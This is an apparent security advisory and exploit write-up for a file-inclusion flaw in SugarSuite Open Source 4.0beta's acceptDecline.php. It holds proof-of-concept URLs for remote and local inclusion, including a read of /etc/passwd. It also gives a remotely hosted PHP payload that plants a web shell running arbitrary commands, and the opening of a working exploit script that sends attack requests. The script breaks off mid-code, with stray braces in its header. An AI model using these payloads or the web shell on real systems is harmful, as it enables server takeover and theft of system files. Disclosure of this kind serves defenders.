SugarSuite Open Source Code Execution (acceptDecline)
8 Dec. 2005
Summary
SugarCRM "Commercial Open Source Customer Relationship Management". A vulnerability has been recently discovered in SugarSuite CRM that allows remote attackers to cause the SugarCRM program to code execute arbitrary code.
Vulnerable Systems:
* SugarSuite Open Source versions 4.0beta and prior
Vulnerable code in acceptDecline.php at lines 81-82
...
$bean = $beanList[$_REQUEST['module']];
require_once($beanFiles[$bean]);
...
If register_globals on & allow_url_fopen on in php.ini, remote code inclusion, poc: http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=http://[remote_location]/index.html &beanList[1]=1&module=1
if register_globals on, local inclusion, poc http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../../../../../../etc/passwd &beanList[1]=1&module=1
http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../../../../../../../script.php &beanList[1]=1&module=1
At [remote_location], in index.html you have this code: <?php
$fp=fopen("suntzu.php","w");
fputs($fp,"<? echo 'Hi Master';error_reporting(0); ini_set('max_execution_time',0); system(\$HTTP_GET_VARS[cmd]);?>");
fclose($fp);
?>
Note: the file can have any extension, but not .php or any executable, it must be readable from a browser...
Now you can launch commands on target system:
http://[target]/[path_to_sugar]/suntzu.php?cmd=cat%20/etc/passwd
Exploit:
<?php
# ---sugar_suite_40beta_xpl.php #
# #
# Sugar Suite Open Source <= 4.0 beta remote code execution #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu:"It is a matter of life and death, a road either to safety or to #
# ruin. Hence it is a subject of inquiry which can on no account be #
# neglected." #
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];$command=$_POST[command];
$proxy=$_POST[proxy];$location=$_POST[location];$port=$_POST[port];
if (($host<>'') and ($path<>'') and ($command<>'') and ($location<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
